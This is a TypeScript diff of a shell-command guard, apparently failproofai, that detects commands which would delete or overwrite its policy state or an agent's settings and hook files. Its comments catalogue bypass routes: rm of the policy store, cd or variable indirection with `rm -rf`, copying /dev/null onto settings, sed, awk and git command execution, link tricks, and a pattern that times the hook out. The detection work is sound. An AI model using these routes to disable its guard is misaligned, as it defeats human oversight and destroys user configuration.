unresolved. */ const BRACE_EXPANSION_ROUNDS = 24; - /** * The words a token expands into, the way the shell would expand them. * @@ -998,7 +1165,6 @@ function expandBraces(token: string): string[] { } return words.map(collapseBraces); } - /** * Every brace group in a word replaced by `*`, innermost first. * @@ -1028,7 +1194,6 @@ function collapseBraces(word: string): string { } return out; } - /** The first brace group in a word, split on its TOP-LEVEL commas. */ function firstBraceGroup(word: string): { start: number; end: number; alternatives: string[] } | null { const start = word.indexOf("{"); @@ -1056,7 +1221,6 @@ function firstBraceGroup(word: string): { start: number; end: number; alternativ } return null; } - /** * True when one brace-expanded word names the state. * @@ -1064,8 +1228,8 @@ function firstBraceGroup(word: string): { start: number; end: number; alternativ * `~/.{failproofai,other}` carries no `.failproofai` as written, and the word it * expands to needs no glob compilation to be recognised. */ -function wordNamesState(word: string): boolean { - if (FAILPROOFAI_STATE_PATH_RE.test(word)) return true; +function wordNamesTarget(word: string, target: ProtectedPathTarget): boolean { + if (target.namesLiteral(word)) return true; // Every path PREFIX, not just the whole word. The candidates are the state // directory itself, so `~/.f*ailproofai/policies-config.json` — a glob in a // segment that is not the last one — compiled to a pattern that could never @@ -1073,11 +1237,10 @@ function wordNamesState(word: string): boolean { // the state is naming the state. const segments = word.split("/"); for (let end = 1; end <= segments.length; end++) { - if (globPrefixNamesState(segments.slice(0, end).join("/"))) return true; + if (globPrefixNamesTarget(segments.slice(0, end).join("/"), target)) return true; } return false; } - /** * Everything that makes a token a PATTERN rather than a path. * @@ -1087,7 +1250,6 @@ function wordNamesState(word: string): boolean { * compiled wrong. */ const GLOB_METACHAR_RE = /[*?[{]|[@+!]\(/; - /** * A glob compiled to regex source, extended-glob operators included. * @@ -1099,18 +1261,18 @@ const GLOB_METACHAR_RE = /[*?[{]|[@+!]\(/; * reaching too far is settled by the decoy test and reaching too little is a * bypass. */ -function compileGlobPattern(token: string): string { +function compileGlobPattern(token: string, anyOne = "[^/]"): string { let pattern = ""; for (let i = 0; i < token.length; i++) { - const extended = extglobAt(token, i); + const extended = extglobAt(token, i, anyOne); if (extended) { pattern += extended.source; i = extended.end; continue; } const ch = token[i]; - if (ch === "*") pattern += "[^/]*"; - else if (ch === "?") pattern += "[^/]"; + if (ch === "*") pattern += `${anyOne}*`; + else if (ch === "?") pattern += anyOne; else if (ch === "[") { const bracket = bracketExpressionAt(token, i); if (!bracket) { @@ -1127,9 +1289,8 @@ function compileGlobPattern(token: string): string { } return pattern; } - /** One `@(…)`-style group, with its alternatives compiled as patterns. */ -function extglobAt(token: string, start: number): { source: string; end: number } | null { +function extglobAt(token: string, start: number, anyOne = "[^/]"): { source: string; end: number } | null { const operator = token[start]; if (!"?*+@!".includes(operator) || token[start + 1] !== "(") return null; const alternatives: string[] = []; @@ -1156,12 +1317,11 @@ function extglobAt(token: string, start: number): { source: string; end: number } // Unterminated, so the operator is an ordinary character rather than a group. if (i >= token.length) return null; - if (operator === "!") return { source: "[^/]*", end: i }; - const body = alternatives.map((alternative) => compileGlobPattern(alternative)).join("|"); + if (operator === "!") return { source: `${anyOne}*`, end: i }; + const body = alternatives.map((alternative) => compileGlobPattern(alternative, anyOne)).join("|"); const quantifier = operator === "?" ? "?" : operator === "*" ? "*" : operator === "+" ? "+" : ""; return { source: `(?:${body})${quantifier}`, end: i }; } - /** * One shell bracket expression, translated into a JavaScript character class. * @@ -1213,27 +1373,156 @@ function bracketExpressionAt(token: string, start: number): { source: string; en if (escaped.length === 0) return { source: "[^/]", end: i }; return { source: `[${negated ? "^" : ""}${escaped}]`, end: i }; } - /** * One `/`-delimited prefix of a brace-expanded word, compiled and tried against * the candidates. Braces are already gone by here; an unmatched one is literal. */ -function globPrefixNamesState(token: string): boolean { +/** One atom of a glob with no extended-glob groups. */ +type GlobAtom = { kind: "char"; ch: string } | { kind: "one" } | { kind: "star" } | { kind: "class"; test: RegExp }; +/** + * A glob of literals, `?`, `*` and bracket expressions as atoms, or null when + * it holds an extended-glob group (left to the regex path). Runs of `*` + * collapse into one, as the shell reads them without globstar. + */ +function globAtoms(token: string): GlobAtom[] | null { + const atoms: GlobAtom[] = []; + for (let i = 0; i < token.length; i++) { + if (extglobAt(token, i)) return null; + const ch = token[i]; + if (ch === "*") { + if (atoms[atoms.length - 1]?.kind !== "star") atoms.push({ kind: "star" }); + } else if (ch === "?") atoms.push({ kind: "one" }); + else if (ch === "[") { + const bracket = bracketExpressionAt(token, i); + if (!bracket) { + atoms.push({ kind: "char", ch: "[" }); + continue; + } + atoms.push({ kind: "class", test: new RegExp(`^${bracket.source}$`) }); + i = bracket.end; + } else atoms.push({ kind: "char", ch }); + } + return atoms; +} +/** + * Whether one path segment matches a segment's atoms, with no backtracking + * beyond the last `*`: the classic greedy wildcard walk, O(atoms × length). + * A regex built from many `*` backtracked through every way of splitting a + * candidate between them — a 226-character word ran for over a minute. + */ +function globSegmentMatches(atoms: GlobAtom[], text: string): boolean { + let a = 0; + let t = 0; + let starAtom = -1; + let starText = 0; + while (t < text.length) { + const atom = atoms[a]; + if (atom && atom.kind === "star") { + starAtom = a++; + starText = t; + continue; + } + if ( + atom && + (atom.kind === "one" || (atom.kind === "char" && atom.ch === text[t]) || (atom.kind === "class" && atom.test.test(text[t]))) + ) { + a++; + t++; + continue; + } + if (starAtom === -1) return false; + a = starAtom + 1; + t = ++starText; + } + while (atoms[a]?.kind === "star") a++; + return a === atoms.length; +} +/** What a glob is tried with: `test` on a whole string. */ +interface GlobTest { + test(text: string): boolean; +} + +/** + * A glob as a test on a whole string, without backtracking wherever the + * pattern allows: segment by segment through `globSegmentMatches` (a `*` and + * `?` stay inside a `/`-separated part), or over the whole string when + * `anyOne` is `.` (a `${v%pattern}` pattern, where they match `/` too). Only a + * pattern with an extended-glob group goes through a regex, its runs of `*` + * collapsed first. A regex built from many `*` backtracked through every way + * of splitting a candidate: `rm ~/.c` with 200 stars and `laude/settings.json` + * took 472 s in the state walk, past every hook timeout, where a timed-out + * hook allows (found by #1053's tests on #1058). Null when it cannot be read. + */ +function globTest(pattern: string, opts: { anyOne?: string; ignoreCase?: boolean } = {}): GlobTest | null { + const fold = (text: string) => (opts.ignoreCase ? text.toLowerCase() : text); + const anyOne = opts.anyOne ?? "[^/]"; + const parts = anyOne === "." ? [fold(pattern)] : fold(pattern).split("/"); + const atoms = parts.map((part) => globAtoms(part)); + if (atoms.every((a) => a !== null)) { + return { + test: (text) => { + const textParts = anyOne === "." ? [fold(text)] : fold(text).split("/"); + return textParts.length === atoms.length && textParts.every((part, i) => globSegmentMatches(atoms[i]!, part)); + }, + }; + } + let re: RegExp; + try { + re = new RegExp(`^(?:${compileGlobPattern(pattern.replace(/\*{2,}/g, "*"), anyOne)})$`, `s${opts.ignoreCase ? "i" : ""}`); + } catch { + return null; + } + return { + test: (text) => { + // V8 compiles a pattern on its first use, so one too large throws here. + try { + return re.test(text); + } catch { + return false; + } + }, + }; +} +/** + * A matcher for a glob word against whole paths: segment by segment, since no + * `*`, `?` or bracket expression matches `/`. Null when the word holds an + * extended-glob group. + */ +function globMatcher(token: string): ((path: string) => boolean) | null { + // Case-insensitively, on both sides: macOS resolves a path's literal parts + // whatever their case, so `rm ~/.CLAUDE/settings.js*` reaches the settings. + const segments = token.toLowerCase().split("/").map((segment) => globAtoms(segment)); + if (segments.some((atoms) => atoms === null)) return null; + return (path: string): boolean => { + const parts = path.toLowerCase().split("/"); + return parts.length === segments.length && parts.every((part, i) => globSegmentMatches(segments[i]!, part)); + }; +} +function globPrefixNamesTarget(token: string, target: ProtectedPathTarget): boolean { if (!GLOB_METACHAR_RE.test(token)) return false; - const pattern = "^" + compileGlobPattern(token); + const matcher = globMatcher(token); + if (matcher) { + if (!target.globCandidates.some(matcher)) return false; + return !target.globDecoys.some(matcher); + } + // Extended-glob groups go through a regex, with runs of `*` collapsed first. + const pattern = "^" + compileGlobPattern(token.replace(/\*{2,}/g, "*")); let re: RegExp; try { - // Case-insensitive, like FAILPROOFAI_STATE_PATH_RE: on a default macOS - // volume `NODE_MODULES/fail*` reaches the real `node_modules/failproofai`, - // because the literal parent is resolved by the filesystem. re = new RegExp(pattern + "$", "i"); } catch { return false; } - if (!STATE_GLOB_CANDIDATES.some((candidate) => re.test(candidate))) return false; - return !GLOB_DECOYS.some((decoy) => re.test(decoy)); + // V8 compiles a pattern on its first use, so one too large to compile throws + // here, not at `new RegExp`. A pattern that large is a literal far longer + // than any path it could be tried against. + try { + if (!target.globCandidates.some((candidate) => re.test(candidate))) return false; + return !target.globDecoys.some((decoy) => re.test(decoy)); + } catch { + return false; + } } - /** * Every command-substitution body in a command, `$(…)` and backticked alike. * @@ -1245,9 +1534,32 @@ function globPrefixNamesState(token: string): boolean { * the bodies are pulled out and judged as commands as well as, not instead of, * the whole string. */ +/** Substitution bodies one line is read with; past it the line is refused. */ +const MAX_SUBSTITUTION_BODIES = 64; + +/** + * The whole commands a line runs before the one a substitution body sits in: + * what moves the shell to where the body runs. Empty when there are none, or + * when the body is not found as written. + */ +function commandsBefore(command: string, body: string): string { + const at = command.indexOf(body); + if (at <= 0) return ""; + const head = command.slice(0, at); + const ranges = cutRanges(lexShell(head).splittable, PIPELINE_SEPARATORS); + if (ranges.length <= 1) return ""; + return head.slice(0, ranges[ranges.length - 1][0]).replace(/[\s;&|]+$/, ""); +} + function substitutionBodies(command: string): string[] { const bodies: string[] = []; for (let i = 0; i < command.length; i++) { + // A backslash makes the next character literal in every quoting context: + // `\`` and `\$(` never start a substitution. + if (command[i] === "\\") { + i++; + continue; + } if (command[i] === "`") { const close = command.indexOf("`", i + 1); if (close === -1) break; @@ -1255,7 +1567,9 @@ function substitutionBodies(command: string): string[] { i = close; continue; } - if (command[i] !== "$" || command[i + 1] !== "(") continue; + // `$(…)`, and the process substitutions `>(…)` and `<(…)`, which run their + // body as a command just the same: `echo x > >(tee )`. + if (!((command[i] === "$" || command[i] === ">" || command[i] === "<") && command[i + 1] === "(")) continue; let depth = 1; let j = i + 2; for (; j < command.length && depth > 0; j++) { @@ -1267,10 +1581,8 @@ function substitutionBodies(command: string): string[] { } return bodies; } - /** An output redirect and the token it targets: `>f`, `> f`, `2>f`, `>>f`, `>|f`. */ -const REDIRECT_TARGET_RE = /\d*>{1,2}\|?\s*("[^"]*"|'[^']*'|[^\s;&|<>]+)/g; - +const REDIRECT_TARGET_RE = /\d*>{1,2}\|?\s*("[^"]*"|'[^']*'|(?:\\.|[^\s;&|<>\\])+)/g; /** * Strip the punctuation a shell consumes, so `(cd` reads as `cd`. * @@ -1284,7 +1596,6 @@ const REDIRECT_TARGET_RE = /\d*>{1,2}\|?\s*("[^"]*"|'[^']*'|[^\s;&|<>]+)/g; function bareToken(token: string): string { return token.replace(/^[(){}'"]+|[(){}'"]+$/g, ""); } - /** * Quotes only, for the glob scan. * @@ -1295,18 +1606,52 @@ function bareToken(token: string): string { * arrived here decapitated — an unterminated group that expands to nothing and * compiles to a pattern matching nothing. A closing character that really did * belong to a shell group leaves a word still carrying the literal path, which - * the literal check reads, and `globCouldNameState` tries the stripped form too. + * the literal check reads, and `globCouldNameTarget` tries the stripped form too. */ function unquotedToken(token: string): string { return token.replace(/^['"]+|['"]+$/g, ""); } - /** The name a shell would exec, given a token: `/usr/bin/rm` → `rm`. */ function commandBasename(token: string): string { const bare = bareToken(token); return bare.slice(bare.lastIndexOf("/") + 1); } - +/** + * `text` cut where the shell cuts words: at blanks outside quotes, a backslash + * keeping the character after it. Quotes and backslashes stay in the words, so + * `cp /tmp/x "my cfg.json"` has the destination `"my cfg.json"`, not `cfg.json"`. + */ +function shellSplit(text: string): string[] { + const words: string[] = []; + let current = ""; + let quote: "'" | '"' | "ansi" | null = null; + for (let i = 0; i < text.length; i++) { + const ch = text[i]; + if (quote !== null) { + current += ch; + if (ch === "\\" && quote !== "'" && i + 1 < text.length) current += text[++i]; + else if (ch === (quote === "ansi" ? "'" : quote)) quote = null; + continue; + } + if (ch === "\\" && i + 1 < text.length) { + current += ch + text[++i]; + continue; + } + if (ch === "'" || ch === '"') { + quote = ch === "'" && text[i - 1] === "$" ? "ansi" : ch; + current += ch; + continue; + } + if (/\s/.test(ch)) { + if (current) words.push(current); + current = ""; + continue; + } + current += ch; + } + if (current) words.push(current); + return words; +} /** * Walk off everything a shell resolves before it settles on the command word, * and return the tokens from the command word on. Mirrors the walk in @@ -1314,10 +1659,20 @@ function commandBasename(token: string): string { * binary, and `xargs -0 rm -f` is the one that matters most here. */ function commandWords(simpleCommand: string): string[] { - const tokens = simpleCommand.trim().split(/\s+/).map(bareToken).filter(Boolean); + const tokens = shellSplit(simpleCommand.trim()).map(bareToken).filter(Boolean); let i = 0; while (i < tokens.length) { const token = tokens[i]; + // A quoted word in the command's place — a shell's `-c` program — is a + // command line of its own: `bash -c 'cat x'` runs `cat`. An assignment + // with a quoted value (`env "A=b c" cp …`) is still one assignment. + if (/\s/.test(token) && !ENV_ASSIGNMENT_RE.test(token)) { + const inner = shellSplit(token).map(bareToken).filter(Boolean); + if (inner.length > 1) { + tokens.splice(i, 1, ...inner); + continue; + } + } // A redirect operator and, when it stands alone, the token it targets — // `> file` must not leave `file` sitting where the command word goes. if (/^\d*(?:>{1,2}\|?|<{1,3})/.test(token)) { @@ -1333,16 +1688,55 @@ function commandWords(simpleCommand: string): string[] { if (!skippable) break; i++; } - return tokens.slice(i); + // From the command word on, a redirect is no argument either: `cp /dev/null + // ~/.claude/settings.json 2>/dev/null` copies onto the settings file, and a + // copy's destination is its LAST word. The redirect is judged on its own, + // by REDIRECT_TARGET_RE; `<(…)` and `>(…)` are arguments and stay. + const words: string[] = []; + for (let k = i; k < tokens.length; k++) { + if (k > i && /^\d*(?:>{1,2}\|?|<{1,3})(?!\()/.test(tokens[k])) { + if (/^\d*(?:>{1,2}\|?|<{1,3})$/.test(tokens[k])) k++; + continue; + } + words.push(tokens[k]); + } + return words; +} +/** A redirect with its target as the shell reads it: quoted, escaped or glued, spaces and all. */ +const REDIRECT_WITH_TARGET_RE = /(^|\s)\d*(?:>{1,2}\|?|<{1,3})(?!\()\s*(?:"(?:[^"\\]|\\.)*"|'[^']*'|\\.|[^\s"'\\])+/g; +/** + * A simple command with its redirects blanked, so what is left is its + * arguments: `cp /dev/null ~/.claude/settings.json 2> '/tmp/build log'` has + * two, not a third called `log'`. Found in the splittable view, where a `>` + * inside a quoted argument is already blank, and blanked at the same offsets + * in the readable one. A redirect's target is judged on its own. + */ +function blankRedirects(readableSimple: string, splitSimple: string): string { + let out = ""; + let pos = 0; + for (const match of splitSimple.matchAll(REDIRECT_WITH_TARGET_RE)) { + const start = match.index + match[1].length; + const end = match.index + match[0].length; + out += readableSimple.slice(pos, start) + " ".repeat(end - start); + pos = end; + } + return pos === 0 ? readableSimple : out + readableSimple.slice(pos); } - /** * True when this one simple command would destroy whatever it is pointed at. * - * Reached only for a command that already names failproofai's state, so the + * Reached only for a command that already names the protected target, so the * question is narrow: is this a read, or is it everything else. */ -function simpleCommandDestroys(words: string[], namesState: (text: string) => boolean): boolean { +function simpleCommandDestroys( + words: string[], + namesState: (text: string) => boolean, + target: ProtectedPathTarget, + rawSimple: string, + cwdInTarget = false, + cwds: ReadonlyArray = [undefined], + valuesOfWord: (word: string) => string[] | null = () => null, +): boolean { if (words.length === 0) return false; const head = commandBasename(words[0]); const args = words.slice(1); @@ -1368,23 +1762,57 @@ function simpleCommandDestroys(words: string[], namesState: (text: string) => bo // which needs no flag at all: `sed 's/a/b/w ' /etc/hosts` writes the // state without `-i` anywhere on the line. if (head === "sed") { - if (args.some((a) => a.startsWith("-i") || a.startsWith("--in-place"))) return true; - // The filename may ride in the same token (`'s/a/b/w'`) or in the - // next one, because a quoted script containing a space is two tokens by the - // time it gets here. `s/a/b/w` and a bare `w` both end in a `w` that - // follows a delimiter, which is what separates them from a word like `raw`. - return args.some( - (a, i) => /(?:^|[;}/\s])w$/.test(a) && namesState(args[i + 1] ?? ""), - ) || args.some((a) => /(?:^|[;}/\s])w\s*\S*\.failproofai/.test(a)); + // In place, alone or bundled: `-i`, `-i.bak`, `-Ei`, `-ni`, `--in-place`. + if (args.some((a) => /^-(?!-)[A-Za-z]*i/.test(a) || a.startsWith("--in-place"))) return true; + // Only the SCRIPT is read for `e`, `w` and `W`. Reading every word made a + // file operand under `/workspaces/…` or `/Users/Wei/…` look like a `w` + // command. A script read from a file (`-f`) cannot be checked at all. + const scripts = sedScripts(rawSimple); + if (scripts === null) return true; + for (const script of scripts) { + // `e` runs a shell command, as a command (`1e cp …`) or as the flag on + // `s` (`s/x/y/e`), so a sed that reads nothing can still write anything. + if (SED_RUNS_COMMAND_RE.test(script)) return true; + // `w`/`W` write the rest of the line's text as a file name, glued on + // (`s/a/b/w`) or after a space; an address can stand in front. + for (const [, file] of script.matchAll(SED_WRITE_FILE_RE)) { + if (namesState(file.trim())) return true; + } + } + return false; + } + + // `yq -i` rewrites the file it reads, and reads JSON as readily as YAML. + if (head === "yq") { + if (args.some((a) => /^-[A-Za-z]*i/.test(a) || /^--in-?place/.test(a))) return true; } // `awk` can run a shell (`system("rm -rf …")`) or pipe into one, so its // program has to be read for those two, not just for the `>` the redirect // scan already catches. if (head === "awk" || head === "gawk" || head === "mawk") { - return args.some((a) => /system\s*\(|\|\s*["']|\|&/.test(a)); + // gawk's `inplace` extension rewrites every input file, loaded by flag + // (`-i inplace`, `--include=inplace`) or from the program (`@include`). + const inplace = args.some( + (a, i) => + ((a === "-i" || a === "--include" || a === "@include") && /^inplace/.test(args[i + 1] ?? "")) || + /^(?:-iinplace|--include=inplace)/.test(a), + ); + if (inplace || args.some((a) => /system\s*\(|\|\s*["']|\|&/.test(a))) return true; + // `print > ARGV[1]` writes a file the program names only at run time, so + // the redirect scan finds nothing to read. A program that prints AND holds + // a `>` is treated as writing; a comparison beside a print is the cost. + // String literals come out first, so a `}` or a `>` inside one neither ends + // the statement nor counts as a redirect; a comparison BEFORE the print + // (`$2 > 1 {print $1}`) is not one either. + return quoteAwareWords(rawSimple).some((w) => + /\bprintf?\b[^;}\n]*>/.test(w.replace(/"(?:[^"\\]|\\.)*"/g, '""')), + ); } + // `rg --pre ` runs a command over every file it searches. + if ((head === "rg" || head === "ripgrep") && args.some((a) => a === "--pre" || a.startsWith("--pre="))) return true; + // Copying the state OUT is a backup. Copying anything ONTO it — classically // `/dev/null` — empties it without naming a delete verb. The destination is // the last operand, unless `-t` names it instead: `cp -t ~/.failproofai @@ -1394,12 +1822,50 @@ function simpleCommandDestroys(words: string[], namesState: (text: string) => bo // being the SOURCE — the shape that makes every other copy a backup — is // what makes this one a move. if (args.includes("--remove-source-files") && args.some((a) => namesState(a))) return true; - const targetAt = args.findIndex((a) => a === "-t" || a === "--target-directory"); - if (targetAt !== -1 && namesState(args[targetAt + 1] ?? "")) return true; - if (args.some((a) => a.startsWith("--target-directory=") && namesState(a))) return true; + // `cp -l` and `cp -s` make a hard or symbolic link instead of a copy, so + // the protected file as SOURCE gets a second name that any later write + // reaches it through: `cp -l ~/.claude/settings.json /tmp/x; echo … > /tmp/x`. + const links = args.some((a) => /^-(?!-)[A-Za-z]*[ls]/.test(a) || a === "--link" || a === "--symbolic-link"); + if (head === "cp" && links && args.some((a) => !a.startsWith("-") && namesState(a))) return true; + // `--parents` keeps each source's own path under the directory: + // `cp --parents .claude/settings.json ~` writes ~/.claude/settings.json. + const parents = head === "cp" && args.some((a) => a.length >= 4 && "--parents".startsWith(a)); + const landing = (dir: string, source: string): string => { + const plain = stripShellQuoting(source); + if (parents) return `${dir}/${plain.replace(/^(?:\.\/)+/, "").replace(/^\/+/, "")}`; + const name = plain.replace(/\/+$/, "").split("/").pop() ?? ""; + const contents = name === "" || name === "." || name === ".." || (head === "rsync" && plain.endsWith("/")); + return contents ? dir : `${dir}/${name}`; + }; + const target = copyTargetDirectory(head, args); + if (target) { + // Every other operand is a source, and lands in the directory under its + // own name: `cp -t ~/.claude /tmp/settings.json` writes the settings, + // `cp -t ~/.claude /tmp/notes.md` and `cp -t /tmp/bak ~/.claude/settings.json` do not. + const sources = args.filter((a, i) => !a.startsWith("-") && !target.values.has(i)).flatMap((source) => valuesOfWord(source) ?? [source]); + return (valuesOfWord(target.dir) ?? [target.dir]).some((dir) => { + const plainDir = stripShellQuoting(dir).replace(/\/+$/, ""); + return sources.some((source) => namesState(landing(plainDir, source))); + }); + } const operands = args.filter((a) => !a.startsWith("-")); const destination = operands[operands.length - 1]; - return destination !== undefined && namesState(destination); + if (destination === undefined) return false; + // Into a directory that exists, each source lands under its own name: + // `cp README.md ~/.claude` writes ~/.claude/README.md and nothing else. Not + // with `-T`, which makes the directory the file; and a source's contents + // (`dir/.`, rsync's `dir/`) land in the directory itself. + const sources = operands.slice(0, -1).flatMap((source) => valuesOfWord(source) ?? [source]); + const noTarget = args.some((a) => a === "--no-target-directory" || /^-(?!-)[A-Za-z]*T/.test(a)); + // A destination that is just `$D` reads as the directories D is given. + const dirs = valuesOfWord(destination) ?? [destination]; + if (!noTarget && sources.length > 0 && dirs.every((dir) => cwds.some((cwd) => existingDirectory(dir, cwd)))) { + return dirs.some((dir) => { + const plainDir = stripShellQuoting(dir).replace(/\/+$/, ""); + return sources.some((source) => namesState(landing(plainDir, source))); + }); + } + return namesState(destination); } // `tee` writes every operand it is given and reads none of them. @@ -1416,7 +1882,45 @@ function simpleCommandDestroys(words: string[], namesState: (text: string) => bo // `git` normally carries the path as prose in a message or a body. if (head === "git") { const subcommand = gitSubcommand(args); - return subcommand !== undefined && GIT_DESTRUCTIVE_SUBCOMMANDS.has(subcommand); + const gitWords = quoteAwareCommandWords(rawSimple).words; + // A relative output path lands in the repository `-C` names, joined as + // written so a `..` after a link there is walked the way the kernel does. + const repositories = gitRepositoryDirs(gitWords, cwds, valuesOfWord); + const namesInRepository = (text: string): boolean => + namesState(text) || + (isRelativeShellWord(text) && + repositories.some((repository) => repository === GIT_REPOSITORY_LOST || namesState(`${repository}/${text}`))); + // Output files, whatever the subcommand: `git log --output=` writes + // what `--format` says into it, and `-o` is the archive's or the patches'. + if (writesViaOutputFlag("git", args, namesInRepository)) return true; + if ((subcommand === "archive" || subcommand === "format-patch") && writesViaOutputFlag("git", args, namesInRepository, ["-o"])) { + return true; + } + // Config that runs a command, judged by what it runs: `alias.x='!rm …'` + // is a deleter, `core.pager=cat` is not. + if (gitWords.some((w, i) => (gitWords[i - 1] === "-c" || gitWords[i - 1] === "--config-env") && GIT_CONFIG_RUNS_CODE_RE.test(w) && namesState(w))) { + return true; + } + // Subcommands that run a command of their own, with nothing to say what it touches. + if (subcommand === "rebase" && args.some((a) => a === "-x" || a === "--exec" || a.startsWith("--exec=") || /^-(?!-)[A-Za-z]*x/.test(a))) { + return true; + } + if ((subcommand === "submodule" && args.includes("foreach")) || (subcommand === "bisect" && args.includes("run"))) return true; + if (subcommand === "filter-branch" || subcommand === "filter-repo") return true; + if ((subcommand === "difftool" || subcommand === "mergetool") && args.some((a) => a === "-x" || a === "--extcmd" || a.startsWith("--extcmd="))) { + return true; + } + // `git config` writes `.git/config`; only `-f ` writes elsewhere. + if (subcommand === "config") { + return gitWords.some((w, i) => ((gitWords[i - 1] === "-f" || gitWords[i - 1] === "--file") && namesInRepository(w)) || + (w.startsWith("--file=") && namesInRepository(w.slice("--file=".length)))); + } + // `restore --staged` alone touches the index, never the file on disk. + const staged = args.some((a) => a === "--staged" || /^-(?!-)[A-Za-z]*S/.test(a)); + const worktree = args.some((a) => a === "--worktree" || /^-(?!-)[A-Za-z]*W/.test(a)); + if (subcommand === "restore" && staged && !worktree) return false; + if (subcommand === undefined || !GIT_DESTRUCTIVE_SUBCOMMANDS.has(subcommand)) return false; + return cwdInTarget || gitOperandsNameTarget(gitWords, subcommand, namesInRepository, /['"]/.test(rawSimple)); } // A reader whose destination arrives as an option rather than as an operand. @@ -1425,1198 +1929,6758 @@ function simpleCommandDestroys(words: string[], namesState: (text: string) => bo if (writesViaOutputFlag(head, args, namesState)) return true; if (STATE_READ_COMMANDS.has(head) || STATE_MENTION_COMMANDS.has(head)) return false; + if (target.harmlessCommands?.has(head)) return false; return true; } - /** * True when a flag on this command names the state as an output file. * * `sort -o`, `tree -o` and `curl -o` all take their destination as an option, * so nothing about the head or the operand order says they are writing — and * all three heads were on a list that said they only read. Short options bundle - * (`curl -sfo `), so the trailing letter is what decides. + * (`curl -sfo `), so the trailing letter is what decides — and a short + * option can carry its value glued on (`sort -o`, `curl -so`). */ -function writesViaOutputFlag(head: string, args: string[], namesState: (text: string) => boolean): boolean { - const flags = OUTPUT_FLAG_COMMANDS[head]; +function writesViaOutputFlag( + head: string, + args: string[], + namesState: (text: string) => boolean, + flags: readonly string[] | undefined = OUTPUT_FLAG_COMMANDS[head], +): boolean { if (!flags) return false; + const shortLetters = flags.filter((f) => /^-[A-Za-z]$/.test(f)).map((f) => f[1]); for (let i = 0; i < args.length; i++) { const arg = args[i]; const long = flags.find((f) => f.startsWith("--") && arg.startsWith(`${f}=`)); - if (long && namesState(arg)) return true; - const bundled = /^-[A-Za-z]*[oD]$/.test(arg) && flags.includes(`-${arg[arg.length - 1]}`); + if (long && namesState(arg.slice(long.length + 1))) return true; + const bundled = /^-[A-Za-z]+$/.test(arg) && shortLetters.includes(arg[arg.length - 1]); if ((flags.includes(arg) || bundled) && namesState(args[i + 1] ?? "")) return true; + if (/^-[A-Za-z]/.test(arg)) { + for (const letter of shortLetters) { + const glued = arg.indexOf(letter, 1); + if (glued > 0 && /^[A-Za-z]*$/.test(arg.slice(1, glued)) && glued < arg.length - 1) { + if (namesState(arg.slice(glued + 1))) return true; + } + } + } } return false; } - /** - * True when `command` would delete, move or overwrite failproofai's own state. + * What the shell walk below protects, so one walk serves two targets. * - * Deleting the state IS disabling enforcement, and it never names the binary: - * `rm ~/.failproofai/policies/packs/installed.json` switches off every pack - * policy on the machine, and fail-closed does NOT fire, because a missing store - * reads as a fresh machine rather than a broken one — so nothing anywhere - * reports it. + * It was written for failproofai's own state. An agent's settings and hook + * files need exactly the same reading of a command — which end of a copy the + * path sits on, whether `sed` has `-i`, where a variable or a `cd` carries the + * path — so the walk takes its target as a parameter instead of existing twice. + */ +interface ProtectedPathTarget { + /** Whether a word, a value or a whole pipeline names the target as written. */ + namesLiteral(text: string): boolean; + /** + * Whether a program handed to an interpreter names the target. Defaults to + * `namesLiteral`; the settings target also reads directory names as string + * literals, which is how programs build those paths. + */ + namesProgram?(program: string): boolean; + /** Paths a glob has to be able to reach to count as aimed at the target. */ + globCandidates: readonly string[]; + /** Ordinary paths a glob aimed at the target must miss. */ + globDecoys: readonly string[]; + /** Heads that cannot write or remove the target, beyond the shared read and mention lists. */ + harmlessCommands?: ReadonlySet; + /** + * Where the shell starts, when it is known. A relative word is resolved + * against it — and against wherever a `cd` moves it — so + * `cd ~/.claude && cp /tmp/x settings.json` names the file it writes. + */ + cwd?: string; + /** + * Text every one of the target's paths contains somewhere. A relative word + * is resolved only when it, or the directory the shell stands in, could be + * one; the rest of a long command is not worth a path resolution per word. + */ + hint?: RegExp; + /** + * Whether a word leads to the target through a symlink (relative to `cwd` + * when relative). Asked of every word, ahead of `hint`, which reads only text. + */ + namesThroughLinks?(word: string, cwd: string | undefined): boolean; +} +/** failproofai's own state. Names, not copies, so widening any of them widens the walk. */ +const FAILPROOFAI_STATE_TARGET: ProtectedPathTarget = { + namesLiteral: (text) => FAILPROOFAI_STATE_PATH_RE.test(text), + globCandidates: STATE_GLOB_CANDIDATES, + globDecoys: GLOB_DECOYS, + hint: /failproof/i, +}; +/** + * `mkdir` and `touch` create, and neither can overwrite or remove a settings + * file — while an agent making `.claude/commands/` is ordinary work. + */ +const AGENT_SETTINGS_HARMLESS_COMMANDS: ReadonlySet = new Set(["mkdir", "touch"]); +/** + * Agents' settings and hook files (agent-settings-guard.ts), for a shell that + * starts in `cwd`. `extraPaths` are settings files known for this session that + * no shape describes (a config directory moved by `CLAUDE_CONFIG_DIR`). + */ +function agentSettingsShellTarget(cwd: string | undefined, extraPaths: readonly string[]): ProtectedPathTarget { + const matcher = agentSettingsShellMatcher(extraPaths, cwd); + return { + namesLiteral: matcher.names, + namesProgram: (program) => matcher.names(program) || programNamesAgentSettings(program), + // A glob reaches a link's target too: `cp x /tmp/actual/prim*.json`. + globCandidates: [...agentSettingsGlobCandidates(cwd, extraPaths), ...matcher.linkedFiles], + globDecoys: agentSettingsGlobDecoys(cwd, GLOB_DECOYS), + harmlessCommands: AGENT_SETTINGS_HARMLESS_COMMANDS, + cwd, + hint: matcher.hint, + namesThroughLinks: matcher.throughLinks, + }; +} +/** Interpreters that take a program inline or on stdin. Never readers. */ +const INLINE_INTERPRETERS = "python[0-9.]*|pypy[0-9.]*|node|nodejs|bun|deno|perl|ruby|php|lua|osascript|pwsh|powershell"; +const INLINE_INTERPRETER_RE = new RegExp(`^(?:${INLINE_INTERPRETERS})$`); +/** + * A program handed to an interpreter on its command line: `python3 -c "…"`, + * `node -e '…'`, `perl -pe '…'`, `deno eval "…"`, glued (`-c"…"`) or not. * - * Two things carry the path into a command that never spells it, and both were - * live bypasses of the per-segment version: + * The program is not shell, but the walk splits it like shell — on every `;` — + * so `python3 -c "import json; p=''; json.dump(d, open(p,'w'))"` left the + * path in a piece that reads as a bare assignment with no command in front of + * it, and the interpreter's own piece named nothing. So the whole program is + * judged as one: an interpreter is never on the read list, and naming the + * target anywhere in its program is enough. * - * - `cd ~/.failproofai && rm -rf .` — the path is an argument of `cd`, and the - * destroying command names only `.` - * - `D=~/.failproofai; rm -rf $D` — the path is a value, and the destroying - * command names only `$D` + * Bounded on purpose: at most six words between the interpreter and its flag, + * all on one line (a backslash-newline is joined first). An unbounded gap + * re-scanned the rest of the input for every interpreter-shaped 